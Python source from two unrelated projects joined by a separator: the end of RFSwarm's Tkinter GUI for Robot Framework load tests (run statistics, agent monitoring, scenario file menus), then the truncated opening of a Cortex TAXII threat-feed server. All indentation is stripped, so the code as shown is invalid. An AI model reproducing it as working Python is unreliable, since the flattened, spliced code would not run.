base.debugmsg(8, "Script File:",base.scriptlist[r]["Script"])
tcsection = False
tclist = [""]
# http://robotframework.org/robotframework/latest/RobotFrameworkUserGuide.html#test-data-sections
regex = "^\*+[\s]*(Test Case|Task)"
with open(base.scriptlist[r]["Script"]) as f:
for line in f:
base.debugmsg(9, "sr_test_genlist: tcsection:",tcsection, " line:", line)
if tcsection and line[0:3] == "***":
tcsection = False
if re.search(regex, line, re.IGNORECASE):
base.debugmsg(9, "sr_test_genlist: re.search(",regex, ",", line,")", re.search(regex, line, re.IGNORECASE))
tcsection = True
if tcsection:
if line[0:1] not in ('\t', ' ', '*', '#', '\n', '\r'):
base.debugmsg(9, "", line[0:1], "")
tclist.append(line[0:-1])
base.debugmsg(8, tclist)
if not base.args.nogui:
tol = self.scriptgrid.grid_slaves(column=self.plancoltst, row=r)[0]
base.debugmsg(9, tol)
tol.set_menu(*tclist)
def sr_remove_row(self, r):
base.debugmsg(9, "sr_remove_row:", r)
base.debugmsg(9, self.scriptgrid)
relmts = self.scriptgrid.grid_slaves(row=r, column=None)
base.debugmsg(9, relmts)
for elmt in relmts:
elmt.destroy()
base.scriptlist[r] = {}
try:
self.pln_update_graph()
except:
pass
return True
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Run
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def BuildRun(self, r):
base.debugmsg(6, "config")
# base.debugmsg(6, "Frame")
# rg = ttk.Frame(r)
# rg.grid(column=0, row=1, sticky="nsew")
# r.columnconfigure(0, weight=1)
# r.rowconfigure(0, weight=1) # weight=0 means don't resize with other grid rows / keep a fixed size
rgbar = ttk.Frame(r)
rgbar.grid(row=0, column=0, sticky="nsew")
r.columnconfigure(0, weight=1)
r.rowconfigure(0, weight=0)
#
# run info bar
#
base.debugmsg(6, "run info bar")
usr = ttk.Label(rgbar, text="Unique by:") #, borderwidth=2, relief="raised")
usr.grid(column=11, row=0, sticky="nsew") # , rowspan=2
# gblist = ["script_index", "iteration", "sequence"]
if "display_index" not in self.display_run:
self.display_run['display_index'] = tk.BooleanVar()
self.display_run['display_index'].set(base.str2bool(base.config['Run']['display_index']))
usr = ttk.Label(rgbar, text=" Index ") #, borderwidth=2, relief="raised")
usr.grid(column=10, row=1, sticky="nsew")
# chk = tk.Checkbutton(rgbar, text="Index", variable=self.display_run['display_index'], onvalue=1, offvalue=0) #, height = 2, width = 10)
chk = tk.Checkbutton(rgbar, variable=self.display_run['display_index'], onvalue=True, offvalue=False, command=self.delayed_UpdateRunStats_bg) #, height = 2, width = 10)
chk.grid(column=10, row=2, sticky="nsew")
if "display_iteration" not in self.display_run:
self.display_run['display_iteration'] = tk.BooleanVar()
self.display_run['display_iteration'].set(base.str2bool(base.config['Run']['display_iteration']))
usr = ttk.Label(rgbar, text=" Iteration ") #, borderwidth=2, relief="raised")
usr.grid(column=11, row=1, sticky="nsew")
# chk = tk.Checkbutton(rgbar, text="Iteration", variable=self.display_run['display_iteration'], onvalue=1, offvalue=0) #, height = 2, width = 10)
chk = tk.Checkbutton(rgbar, variable=self.display_run['display_iteration'], onvalue=True, offvalue=False, command=self.delayed_UpdateRunStats_bg) #, height = 2, width = 10)
chk.grid(column=11, row=2, sticky="nsew")
if "display_sequence" not in self.display_run:
self.display_run['display_sequence'] = tk.BooleanVar()
self.display_run['display_sequence'].set(base.str2bool(base.config['Run']['display_sequence']))
usr = ttk.Label(rgbar, text=" Sequence ") #, borderwidth=2, relief="raised")
usr.grid(column=12, row=1, sticky="nsew")
# chk = tk.Checkbutton(rgbar, text="Sequence", variable=self.display_run['display_sequence'], onvalue=1, offvalue=0) #, height = 2, width = 10)
chk = tk.Checkbutton(rgbar, variable=self.display_run['display_sequence'], onvalue=True, offvalue=False, command=self.delayed_UpdateRunStats_bg) #, height = 2, width = 10)
chk.grid(column=12, row=2, sticky="nsew")
# display_percentile
usr = ttk.Label(rgbar, text=" %ile ") #, borderwidth=2, relief="raised")
usr.grid(column=13, row=1, sticky="nsew")
pct = ttk.Spinbox(rgbar, from_=1, to=99, validate="focusout", width=5, justify="right", validatecommand=self.delayed_UpdateRunStats_bg, command=self.delayed_UpdateRunStats_bg)
pct.grid(column=13, row=2, sticky="nsew")
pct.selection_clear()
pct.insert(0, int(base.config['Run']['display_percentile']))
self.display_run['display_percentile'] = pct
if "start_time" not in self.display_run:
self.display_run['start_time'] = tk.StringVar()
# self.display_run['start_time'].set(" {} ".format(base.total_robots))
self.display_run['start_time'].set(" ")
usr = ttk.Label(rgbar, text=" Start Time ") #, borderwidth=2, relief="raised")
usr.grid(column=20, row=1, sticky="nsew")
usr = ttk.Label(rgbar, textvariable=self.display_run['start_time']) #, borderwidth=2, relief="groove")
usr.grid(column=20, row=2, sticky="nsew")
if "elapsed_time" not in self.display_run:
self.display_run['elapsed_time'] = tk.StringVar()
# self.display_run['elapsed_time'].set(" {} ".format(base.total_robots))
self.display_run['elapsed_time'].set(" ")
usr = ttk.Label(rgbar, text=" Elapsed Time ") #, borderwidth=2, relief="raised")
usr.grid(column=21, row=1, sticky="nsew")
usr = ttk.Label(rgbar, textvariable=self.display_run['elapsed_time']) #, borderwidth=2, relief="groove")
usr.grid(column=21, row=2, sticky="nsew")
if "total_robots" not in self.display_run:
self.display_run['total_robots'] = tk.StringVar()
self.display_run['total_robots'].set(" {} ".format(base.total_robots))
usr = ttk.Label(rgbar, text=" Robots ") #, borderwidth=2, relief="raised")
usr.grid(column=26, row=1, sticky="nsew")
usr = ttk.Label(rgbar, textvariable=self.display_run['total_robots']) #, borderwidth=2, relief="groove")
usr.grid(column=26, row=2, sticky="nsew")
icontext = "Stop"
self.icoStop = self.get_icon(icontext)
stp = ttk.Button(rgbar, image=self.imgdata[icontext], padding='3 3 3 3', text="Stop", command=self.ClickStop)
# stp = ttk.Button(rgbar, text='Stop', command=self.ClickStop)
stp.grid(column=39, row=1, sticky="nsew") # , rowspan=2
icontext = "report_text"
self.icoStop = self.get_icon(icontext)
rpt = ttk.Button(rgbar, image=self.imgdata[icontext], padding='3 3 3 3', text="Stop", command=base.report_text)
rpt.grid(column=50, row=1, sticky="nsew") # , rowspan=2
# icontext = "report_html"
# self.icoStop = self.get_icon(icontext)
# rpt = ttk.Button(rgbar, image=self.imgdata[icontext], padding='3 3 3 3', text="Stop", command=self.report_html)
# rpt.grid(column=51, row=1, sticky="nsew") # , rowspan=2
#
# icontext = "report_word"
# self.icoStop = self.get_icon(icontext)
# rpt = ttk.Button(rgbar, image=self.imgdata[icontext], padding='3 3 3 3', text="Stop", command=self.report_word)
# rpt.grid(column=52, row=1, sticky="nsew") # , rowspan=2
#
# run results table
#
base.debugmsg(6, "run results table")
# this scrolling method might work better, but will need to try it
# https://stackoverflow.com/questions/33478863/adding-x-and-y-scrollbar-to-a-canvas
rungridprnt = ttk.Frame(r)
rungridprnt.grid(row=1, column=0, sticky="nsew")
r.rowconfigure(1, weight=1)
runcanvas = tk.Canvas(rungridprnt)
# vsb = tk.Scrollbar(master, orient="vertical", command=self.yview)
# hsb = tk.Scrollbar(master, orient="horizontal", command=self.xview)
# self.configure(yscrollcommand=vsb.set, xscrollcommand=hsb.set)
#
# self.grid(row=0, column=0, sticky="nsew")
# vsb.grid(row=0, column=1, sticky="ns")
# hsb.grid(row=1, column=0, sticky="ew")
# master.grid_rowconfigure(0, weight=1)
# master.grid_columnconfigure(0, weight=1)
#
# # This partially worked but scroll bars ar behind the content making it dificult to scroll
rungridprnt = ttk.Frame(r)
rungridprnt.grid(row=1, column=0, sticky="nsew")
r.rowconfigure(1, weight=1)
self.scrollable_rg = ScrollableXY(rungridprnt)
self.rungrid = ttk.Frame(self.scrollable_rg)
self.rungrid.grid(row=0, column=0, sticky="nsew")
self.scrollable_rg.canvas.columnconfigure(0, weight=1)
self.scrollable_rg.canvas.rowconfigure(0, weight=1)
# this didn't load
# self.scrollable_rg = ScrollableY(rg)
# self.rungrid = ttk.Frame(self.scrollable_rg)
# self.rungrid.grid(row=0, column=0, sticky="nsew")
# this works but doesn't scroll
# self.rungrid = ttk.Frame(rg)
# self.rungrid.grid(row=1, column=0, sticky="nsew")
# set initial columns for the results grid
if "columns" not in self.display_run:
self.display_run["columns"] = {}
if "rows" not in self.display_run:
self.display_run["rows"] = {}
collst = ["result_name", "result", "count", "min", "avg", "max"]
colno = 0
for col in collst:
base.debugmsg(9, "BuildRun: colno:", colno, "col:", col)
base.debugmsg(9, "BuildRun: display_run:", self.display_run)
if colno in self.display_run["columns"]:
currcol = self.display_run["columns"][colno].get()
if col != currcol:
self.display_run["columns"][colno].set(" {} ".format(col))
else:
self.display_run["columns"][colno] = tk.StringVar()
self.display_run["columns"][colno].set(" {} ".format(col))
base.debugmsg(9, "BuildRun: display_run[columns][colno]:", self.display_run["columns"][colno])
grdcols = self.rungrid.grid_size()[0]
base.debugmsg(9, "BuildRun: grdcols:", grdcols)
grdcols += -1
base.debugmsg(9, "BuildRun: grdcols:", grdcols, " colno:", colno)
if grdcols < colno:
usr = ttk.Label(self.rungrid, textvariable=self.display_run["columns"][colno], borderwidth=2, relief="raised")
usr.grid(column=colno, row=0, sticky="nsew")
colno += 1
self.scrollable_rg.update()
def delayed_UpdateRunStats_bg(self):
display_index = self.display_run['display_index'].get()
if display_index != base.str2bool(base.config['Run']['display_index']):
base.config['Run']['display_index'] = str(display_index)
base.saveini()
display_iteration = self.display_run['display_iteration'].get()
if display_iteration != base.str2bool(base.config['Run']['display_iteration']):
base.config['Run']['display_iteration'] = str(display_iteration)
base.saveini()
display_sequence = self.display_run['display_sequence'].get()
if display_sequence != base.str2bool(base.config['Run']['display_sequence']):
base.config['Run']['display_sequence'] = str(display_sequence)
base.saveini()
# self.display_run['display_percentile']
display_percentile = int(self.display_run['display_percentile'].get())
if display_percentile != int(base.config['Run']['display_percentile']):
base.config['Run']['display_percentile'] = str(display_percentile)
base.saveini()
# base.robot_schedule["Start"]
if "Start" in base.robot_schedule:
time_elapsed = int(time.time()) - self.rungridupdate
if (time_elapsed>5):
ut = threading.Thread(target=self.delayed_UpdateRunStats)
ut.start()
def delayed_UpdateRunStats(self):
time_elapsed = int(time.time()) - self.rungridupdate
if (time_elapsed>5):
# queue sqls so UpdateRunStats should have the results
display_percentile = base.config['Run']['display_percentile']
if not base.args.nogui:
display_percentile = int(self.display_run['display_percentile'].get())
if display_percentile != int(base.config['Run']['display_percentile']):
base.config['Run']['display_percentile'] = str(display_percentile)
base.saveini()
display_index = base.config['Run']['display_index']
if not base.args.nogui:
display_index = self.display_run['display_index'].get()
base.debugmsg(9, "delayed_UpdateRunStats: display_index:", display_index, " config[Run][display_index]:", base.config['Run']['display_index'], " bool(config[Run][display_index]):", base.str2bool(base.config['Run']['display_index']))
if display_index != base.str2bool(base.config['Run']['display_index']):
base.config['Run']['display_index'] = str(display_index)
base.saveini()
display_iteration = base.config['Run']['display_iteration']
if not base.args.nogui:
display_iteration = self.display_run['display_iteration'].get()
if display_iteration != base.str2bool(base.config['Run']['display_iteration']):
base.config['Run']['display_iteration'] = str(display_iteration)
base.saveini()
display_sequence = base.config['Run']['display_sequence']
if not base.args.nogui:
display_sequence = self.display_run['display_sequence'].get()
if display_sequence != base.str2bool(base.config['Run']['display_sequence']):
base.config['Run']['display_sequence'] = str(display_sequence)
base.saveini()
base.UpdateRunStats_SQL()
time.sleep(1)
self.UpdateRunStats()
def UpdateRunStats(self):
rnum = 0
removestat = []
if "Start" in base.robot_schedule:
stm = time.localtime(base.robot_schedule["Start"])
self.display_run['start_time'].set(" {} ".format(time.strftime("%H:%M:%S", stm)))
etm = time.gmtime(int(time.time()) - base.robot_schedule["Start"])
self.display_run['elapsed_time'].set(" {} ".format(time.strftime("%H:%M:%S", etm)))
time_elapsed = int(time.time()) - self.rungridupdate
if (time_elapsed>5):
self.rungridupdate = int(time.time())
if "columns" not in self.display_run:
self.display_run["columns"] = {}
if "rows" not in self.display_run:
self.display_run["rows"] = {}
# if "RunStats" in base.dbqueue["ReadResult"] and len(base.dbqueue["ReadResult"]["RunStats"])>0:
# print("UpdateRunStats: RunStats:", base.dbqueue["ReadResult"]["RunStats"])
colno = 0
if "RunStats" in base.dbqueue["ReadResult"] and len(base.dbqueue["ReadResult"]["RunStats"])>0:
base.debugmsg(9, "UpdateRunStats: RunStats:", base.dbqueue["ReadResult"]["RunStats"])
for col in base.dbqueue["ReadResult"]["RunStats"][0].keys():
base.debugmsg(9, "UpdateRunStats: colno:", colno, "col:", col)
colname = base.PrettyColName(col)
base.debugmsg(9, "UpdateRunStats: colname:", colname)
base.debugmsg(9, "UpdateRunStats: display_run:", self.display_run)
if colno in self.display_run["columns"]:
currcol = self.display_run["columns"][colno].get()
if colname != currcol:
self.display_run["columns"][colno].set(" {} ".format(colname))
else:
self.display_run["columns"][colno] = tk.StringVar()
self.display_run["columns"][colno].set(" {} ".format(colname))
base.debugmsg(9, "UpdateRunStats: display_run[columns][colno]:", self.display_run["columns"][colno])
grdcols = self.rungrid.grid_size()[0]
base.debugmsg(9, "UpdateRunStats: grdcols:", grdcols)
grdcols += -1
base.debugmsg(9, "UpdateRunStats: grdcols:", grdcols, " colno:", colno)
if grdcols < colno:
usr = ttk.Label(self.rungrid, textvariable=self.display_run["columns"][colno], borderwidth=2, relief="raised")
usr.grid(column=colno, row=0, sticky="nsew")
colno += 1
colno += -1
grdcols = self.rungrid.grid_size()[0]-1
base.debugmsg(9, "UpdateRunStats: grdcols:", grdcols, " colno:",colno)
if grdcols>colno:
base.debugmsg(9, "UpdateRunStats: need to remove columns grdcols:", grdcols, " colno:",colno)
c = grdcols
while c>colno:
base.debugmsg(9, "UpdateRunStats: need to remove rows c:", c, " colno:",colno)
relmts = self.rungrid.grid_slaves(row=None, column=c)
base.debugmsg(9, relmts)
for elmt in relmts:
elmt.destroy()
c += -1
datarows = 0
if "RunStats" in base.dbqueue["ReadResult"]:
datarows = len(base.dbqueue["ReadResult"]["RunStats"])
# datarows = len(base.dbqueue["ReadResult"]["RunStats_Pass"])
grdrows = self.rungrid.grid_size()[1]-1
base.debugmsg(9, "UpdateRunStats: grdrows:", grdrows, " > datarows:",datarows)
if grdrows>datarows:
base.debugmsg(9, "UpdateRunStats: need to remove rows grdrows:", grdrows, " > datarows:",datarows)
r = grdrows
while r>datarows:
base.debugmsg(9, "UpdateRunStats: need to remove rows r:", r, " > datarows:",datarows)
relmts = self.rungrid.grid_slaves(row=r, column=None)
base.debugmsg(9, relmts)
for elmt in relmts:
elmt.destroy()
r += -1
rowno = 1
if "RunStats" in base.dbqueue["ReadResult"]:
for row in base.dbqueue["ReadResult"]["RunStats"]:
newrow = False
grdrows = self.rungrid.grid_size()[1]
base.debugmsg(9, "UpdateRunStats: grdrows:", grdrows)
if rowno not in self.display_run["rows"]:
self.display_run["rows"][rowno] = {}
colno = 0
newcell = False
for col in row.keys():
base.debugmsg(9, "UpdateRunStats: colno:", colno, "col:", col)
base.debugmsg(9, "UpdateRunStats: row[col]:", row[col])
if colno>len(self.display_run["rows"][rowno])-1:
self.display_run["rows"][rowno][colno] = tk.StringVar()
self.display_run["rows"][rowno][colno].set(" {} ".format(row[col]))
relmts = self.rungrid.grid_slaves(row=rowno, column=colno)
base.debugmsg(9, "UpdateRunStats: relmts:", relmts)
# if newrow or newcell:
if len(relmts) < 1:
usr = ttk.Label(self.rungrid, textvariable=self.display_run["rows"][rowno][colno], borderwidth=2, relief="groove")
usr.grid(column=colno, row=rowno, sticky="nsew")
colno += 1
rowno += 1
self.scrollable_rg.update()
ut = threading.Thread(target=self.delayed_UpdateRunStats)
ut.start()
def ClickStop(self, _event=None):
core.ClickStop()
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Agents
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def BuildAgent(self, a):
if not base.args.nogui:
agentrow = 0
a.columnconfigure(agentrow, weight=1)
a.rowconfigure(agentrow, weight=0) # weight=0 means don't resize with other grid rows / keep a fixed size
# base.debugmsg(6, "Frame")
# self.scrollable_ag = Scrollable(a)
# self.scrollable_ag.grid(column=0, row=1, sticky="nsew")
# self.agenttgrid = ttk.Frame(self.scrollable_ag)
# self.agenttgrid.grid(row=0, column=0, sticky="nsew")
# ag = ttk.Frame(a)
# ag.grid(column=0, row=1, sticky="nsew")
# self.agenttgrid = ttk.Frame(ag)
# self.agenttgrid.grid(row=0, column=0, sticky="nsew")
#
# # This partially worked but scroll bars ar behind the content making it dificult to scroll
ag = ttk.Frame(a)
ag.grid(column=0, row=1, sticky="nsew")
a.rowconfigure(1, weight=1)
self.scrollable_ag = ScrollableXY(ag)
self.agenttgrid = ttk.Frame(self.scrollable_ag)
self.agenttgrid.grid(row=0, column=0, sticky="nsew")
self.scrollable_ag.canvas.columnconfigure(0, weight=1)
self.scrollable_ag.canvas.rowconfigure(0, weight=1)
base.debugmsg(6, "Column Headings")
usr = ttk.Label(self.agenttgrid, text=" Status ", borderwidth=2, relief="raised")
usr.grid(column=0, row=0, sticky="nsew")
usr = ttk.Label(self.agenttgrid, text=" Agent ", borderwidth=2, relief="raised")
usr.grid(column=2, row=0, sticky="nsew")
usr = ttk.Label(self.agenttgrid, text=" Last Seen ", borderwidth=2, relief="raised")
usr.grid(column=4, row=0, sticky="nsew")
usr = ttk.Label(self.agenttgrid, text=" Robots ", borderwidth=2, relief="raised")
usr.grid(column=5, row=0, sticky="nsew")
usr = ttk.Label(self.agenttgrid, text=" Load ", borderwidth=2, relief="raised")
usr.grid(column=6, row=0, sticky="nsew")
usr = ttk.Label(self.agenttgrid, text=" CPU % ", borderwidth=2, relief="raised")
usr.grid(column=8, row=0, sticky="nsew")
usr = ttk.Label(self.agenttgrid, text=" MEM % ", borderwidth=2, relief="raised")
usr.grid(column=10, row=0, sticky="nsew")
usr = ttk.Label(self.agenttgrid, text=" NET % ", borderwidth=2, relief="raised")
usr.grid(column=12, row=0, sticky="nsew")
usr = ttk.Label(self.agenttgrid, text=" Assigned ", borderwidth=2, relief="raised")
usr.grid(column=13, row=0, sticky="nsew")
def delayed_UpdateAgents(self):
time.sleep(10)
self.UpdateAgents()
def UpdateAgents(self):
rnum = 0
removeagents = []
robot_count = 0
displayagent = True
base.debugmsg(5, "")
base.agenttgridupdate = int(time.time())
agntlst = list(base.Agents.keys())
base.debugmsg(6, "agntlst:", agntlst)
for agnt in agntlst:
displayagent = True
tm = base.Agents[agnt]["LastSeen"]
agnt_elapsed = int(time.time()) - tm
if agnt_elapsed>60:
removeagents.append(agnt)
# del base.Agents[agnt]
displayagent = False
if displayagent:
rnum += 1
dt = datetime.fromtimestamp(tm)
workingkeys = self.display_agents.keys()
if rnum not in workingkeys:
self.display_agents[rnum] = {}
if "Status" not in self.display_agents[rnum]:
self.display_agents[rnum]["Status"] = tk.StringVar()
if "Agent" not in self.display_agents[rnum]:
self.display_agents[rnum]["Agent"] = tk.StringVar()
if "LastSeen" not in self.display_agents[rnum]:
self.display_agents[rnum]["LastSeen"] = tk.StringVar()
if "Robots" not in self.display_agents[rnum]:
self.display_agents[rnum]["Robots"] = tk.StringVar()
if "LOAD%" not in self.display_agents[rnum]:
self.display_agents[rnum]["LOAD%"] = tk.StringVar()
if "CPU%" not in self.display_agents[rnum]:
self.display_agents[rnum]["CPU%"] = tk.StringVar()
if "MEM%" not in self.display_agents[rnum]:
self.display_agents[rnum]["MEM%"] = tk.StringVar()
if "NET%" not in self.display_agents[rnum]:
self.display_agents[rnum]["NET%"] = tk.StringVar()
if "AssignedRobots" not in self.display_agents[rnum]:
self.display_agents[rnum]["AssignedRobots"] = tk.StringVar()
base.debugmsg(9, "UpdateAgents: base.Agents[",agnt,"]:", base.Agents[agnt])
self.display_agents[rnum]["Status"].set(" {} ".format(base.Agents[agnt]["Status"]))
self.display_agents[rnum]["Agent"].set(" {} ".format(agnt))
self.display_agents[rnum]["LastSeen"].set(" {} ".format(dt.isoformat(sep=' ',timespec='seconds')))
self.display_agents[rnum]["Robots"].set(" {} ".format(base.Agents[agnt]["Robots"]))
self.display_agents[rnum]["LOAD%"].set(" {} ".format(base.Agents[agnt]["LOAD%"]))
self.display_agents[rnum]["CPU%"].set(" {} ".format(base.Agents[agnt]["CPU%"]))
self.display_agents[rnum]["MEM%"].set(" {} ".format(base.Agents[agnt]["MEM%"]))
self.display_agents[rnum]["NET%"].set(" {} ".format(base.Agents[agnt]["NET%"]))
self.display_agents[rnum]["AssignedRobots"].set(" {} ".format(base.Agents[agnt]["AssignedRobots"]))
base.debugmsg(9, "UpdateAgents: display_agents:", self.display_agents)
robot_count += base.Agents[agnt]["Robots"]
grdrows = self.agenttgrid.grid_size()[1]
if grdrows>0:
grdrows += -1
base.debugmsg(9, "grdrows:", grdrows, " rnum:", rnum)
if grdrows<rnum:
self.add_agent_row(rnum)
self.display_run['total_robots'].set(" {} ".format(base.total_robots))
base.debugmsg(9, "total_robots:", base.total_robots)
if base.total_robots>0:
etm = time.gmtime(int(time.time()) - base.robot_schedule["Start"])
self.display_run['elapsed_time'].set(" {} ".format(time.strftime("%H:%M:%S", etm)))
grdrows = self.agenttgrid.grid_size()[1]-1
while grdrows>rnum:
base.debugmsg(9, "grdrows",grdrows)
try:
self.UA_removerow(grdrows)
self.display_agents[grdrows]
except Exception as e:
base.debugmsg(1, "grdrows:", grdrows, "Exception:", e)
grdrows += -1
def add_agent_row(self, rnum):
base.debugmsg(9, "add_row: rnum:", rnum)
base.debugmsg(9, "add_row: Status:", self.display_agents[rnum]["Status"])
usr = ttk.Label(self.agenttgrid, textvariable=self.display_agents[rnum]["Status"], borderwidth=2, relief="groove")
usr.grid(column=0, row=rnum, sticky="nsew")
base.debugmsg(9, "add_row: Agent:", self.display_agents[rnum]["Agent"])
usr = ttk.Label(self.agenttgrid, textvariable=self.display_agents[rnum]["Agent"], borderwidth=2, relief="groove")
usr.grid(column=2, row=rnum, sticky="nsew")
base.debugmsg(9, "add_row: LastSeen:", self.display_agents[rnum]["LastSeen"])
usr = ttk.Label(self.agenttgrid, textvariable=self.display_agents[rnum]["LastSeen"], borderwidth=2, relief="groove")
usr.grid(column=4, row=rnum, sticky="nsew")
usr = ttk.Label(self.agenttgrid, textvariable=self.display_agents[rnum]["Robots"], borderwidth=2, relief="groove")
usr.grid(column=5, row=rnum, sticky="nsew")
usr = ttk.Label(self.agenttgrid, textvariable=self.display_agents[rnum]["LOAD%"], borderwidth=2, relief="groove")
usr.grid(column=6, row=rnum, sticky="nsew")
usr = ttk.Label(self.agenttgrid, textvariable=self.display_agents[rnum]["CPU%"], borderwidth=2, relief="groove")
usr.grid(column=8, row=rnum, sticky="nsew")
usr = ttk.Label(self.agenttgrid, textvariable=self.display_agents[rnum]["MEM%"], borderwidth=2, relief="groove")
usr.grid(column=10, row=rnum, sticky="nsew")
usr = ttk.Label(self.agenttgrid, textvariable=self.display_agents[rnum]["NET%"], borderwidth=2, relief="groove")
usr.grid(column=12, row=rnum, sticky="nsew")
usr = ttk.Label(self.agenttgrid, textvariable=self.display_agents[rnum]["AssignedRobots"], borderwidth=2, relief="groove")
usr.grid(column=13, row=rnum, sticky="nsew")
def UA_removerow(self, r):
relmts = self.agenttgrid.grid_slaves(row=r, column=None)
base.debugmsg(9, relmts)
for elmt in relmts:
elmt.destroy()
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# menu functions
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def mnu_file_New(self, _event=None):
base.debugmsg(9, "mnu_file_New")
if len(base.config['Plan']['ScenarioFile'])>0:
self.mnu_file_Close()
self.updateTitle()
while base.scriptcount > 0:
self.sr_remove_row(base.scriptcount)
base.scriptcount += -1
base.scriptlist = [{}]
base.addScriptRow()
def mnu_file_Open(self, _event=None):
base.debugmsg(9, "mnu_file_Open")
base.debugmsg(9, "mnu_file_Open: _event:", _event, " Type:", type(_event))
# if type(_event) is not "<class 'str'>":
if type(_event) is not type(""):
self.mnu_file_Close() # ensure any previous scenario is closed and saved if required
ScenarioFile = str(tkf.askopenfilename(initialdir=base.config['Plan']['ScenarioDir'], title = "Select RFSwarm Scenario File", filetypes = (("RFSwarm","*.rfs"),("all files","*.*"))))
else:
ScenarioFile = _event
base.debugmsg(9, "mnu_file_Open: ScenarioFile:", ScenarioFile)
core.OpenFile(ScenarioFile)
base.gui.updateTitle()
self.plan_scnro_chngd = False
def mnu_file_Save(self, _event=None):
base.debugmsg(9, "mnu_file_Save")
if len(base.config['Plan']['ScenarioFile'])<1:
self.mnu_file_SaveAs()
else:
base.debugmsg(8, "ScenarioFile:", base.config['Plan']['ScenarioFile'])
base.debugmsg(8, "scriptlist:", base.scriptlist)
filedata = configparser.ConfigParser()
if 'Scenario' not in filedata:
filedata['Scenario'] = {}
scriptidx = str(0)
if 'ScriptCount' not in filedata['Scenario']:
# filedata['Scenario']['ScriptCount'] = str(len(base.scriptlist)-1)
filedata['Scenario']['ScriptCount'] = scriptidx
scriptcount = 0
for scrp in base.scriptlist:
base.debugmsg(8, "scrp:", scrp)
if 'Index' in scrp:
scrpcopy = scrp.copy()
scriptcount += 1
scriptidx = str(scriptcount)
if 'Script' in scrpcopy:
relpath = base.get_relative_path(base.config['Plan']['ScenarioFile'], scrp['Script'])
base.debugmsg(8, "relpath:", relpath)
scrpcopy['Script'] = relpath
if scriptidx not in filedata:
filedata[scriptidx] = {}
for key in scrpcopy.keys():
base.debugmsg(8, "key:", key)
if key not in ['Index', 'TestVar', 'ScriptHash']:
filedata[scriptidx][key] = str(scrpcopy[key])
base.debugmsg(8, "filedata[",scriptidx,"][",key,"]:", filedata[scriptidx][key])
filedata['Scenario']['ScriptCount'] = scriptidx
with open(base.config['Plan']['ScenarioFile'], 'w') as sf: # save
filedata.write(sf)
self.updateTitle()
def mnu_file_SaveAs(self, _event=None):
base.debugmsg(9, "mnu_file_SaveAs")
# asksaveasfilename
ScenarioFile = str(tkf.asksaveasfilename(\
initialdir=base.config['Plan']['ScenarioDir'], \
title = "Save RFSwarm Scenario File", \
filetypes = (("RFSwarm","*.rfs"),("all files","*.*"))\
))
base.debugmsg(9, "mnu_file_SaveAs: ScenarioFile:", ScenarioFile)
if ScenarioFile is not None and len(ScenarioFile)>0:
# ScenarioFile
filetupl = os.path.splitext(ScenarioFile)
base.debugmsg(9, "mnu_file_SaveAs: filetupl:", filetupl)
if filetupl[1] != ".rfs":
ScenarioFile += ".rfs"
base.debugmsg(9, "mnu_file_SaveAs: ScenarioFile:", ScenarioFile)
base.config['Plan']['ScenarioFile'] = ScenarioFile
self.mnu_file_Save()
def mnu_file_Close(self, _event=None):
base.debugmsg(9, "mnu_file_Close")
if self.plan_scnro_chngd:
MsgBox = tkm.askyesno('RFSwarm - Save Scenario','Do you want to save the current scenario?')
base.debugmsg(9, "mnu_file_Close: MsgBox:", MsgBox)
if MsgBox:
self.mnu_file_Save()
base.config['Plan']['ScenarioFile'] = ""
self.mnu_file_New()
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# End class RFSwarmGUI
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
base = RFSwarmBase()
core = RFSwarmCore()
# core = rfswarm()
try:
core.mainloop()
except KeyboardInterrupt:
core.on_closing()
except Exception as e:
base.debugmsg(1, "core.Exception:", e)
core.on_closing()
|
TAXIIServer.py | import demistomock as demisto
from CommonServerPython import *
from flask import Flask, request, make_response, Response, stream_with_context
from gevent.pywsgi import WSGIServer
from urllib.parse import urlparse, ParseResult
from tempfile import NamedTemporaryFile
from base64 import b64decode
from typing import Callable, List, Generator
from ssl import SSLContext, SSLError, PROTOCOL_TLSv1_2
from multiprocessing import Process
from libtaxii.messages_11 import (
TAXIIMessage,
DiscoveryRequest,
DiscoveryResponse,
CollectionInformationRequest,
CollectionInformation,
CollectionInformationResponse,
PollRequest,
PollingServiceInstance,
ServiceInstance,
ContentBlock,
generate_message_id,
get_message_from_xml)
from libtaxii.constants import (
MSG_COLLECTION_INFORMATION_REQUEST,
MSG_DISCOVERY_REQUEST,
MSG_POLL_REQUEST,
SVC_DISCOVERY,
SVC_COLLECTION_MANAGEMENT,
SVC_POLL,
CB_STIX_XML_11
)
from cybox.core import Observable
import functools
import stix.core
import stix.indicator
import stix.extensions.marking.ais
import stix.data_marking
import stix.extensions.marking.tlp
import cybox.objects.address_object
import cybox.objects.domain_name_object
import cybox.objects.uri_object
import cybox.objects.file_object
import mixbox.idgen
import mixbox.namespaces
import netaddr
import uuid
import werkzeug.urls
import pytz
''' GLOBAL VARIABLES '''
INTEGRATION_NAME: str = 'TAXII Server'
PAGE_SIZE = 200
APP: Flask = Flask('demisto-taxii')
NAMESPACE_URI = 'https://www.paloaltonetworks.com/cortex'
NAMESPACE = 'cortex'
''' Log Handler '''
class Handler:
@staticmethod
def write(message):
"""
Writes a log message to the Demisto server.
Args:
message: The log message to write
"""
demisto.info(message)
''' TAXII Server '''
class TAXIIServer:
def __init__(self, host: str, port: int, collections: dict, certificate: str, private_key: str,
http_server: bool, credentials: dict):
"""
Class for a TAXII Server configuration.
Args:
host: The server address.
port: The server port.
collections: The JSON string of collections of indicator queries.
certificate: The server certificate for SSL.
private_key: The private key for SSL.
http_server: Whether to use HTTP server (not SSL).
credentials: The user credentials.
"""
self.host = host
self.port = port
self.collections = collections
self.certificate = certificate
self.private_key = private_key
self.http_server = http_server
self.auth = None
if credentials:
self.auth = (credentials.get('identifier', ''), credentials.get('password', ''))
self.service_instances = [
{
'type': SVC_DISCOVERY,
'path': 'taxii-discovery-service'
},
{
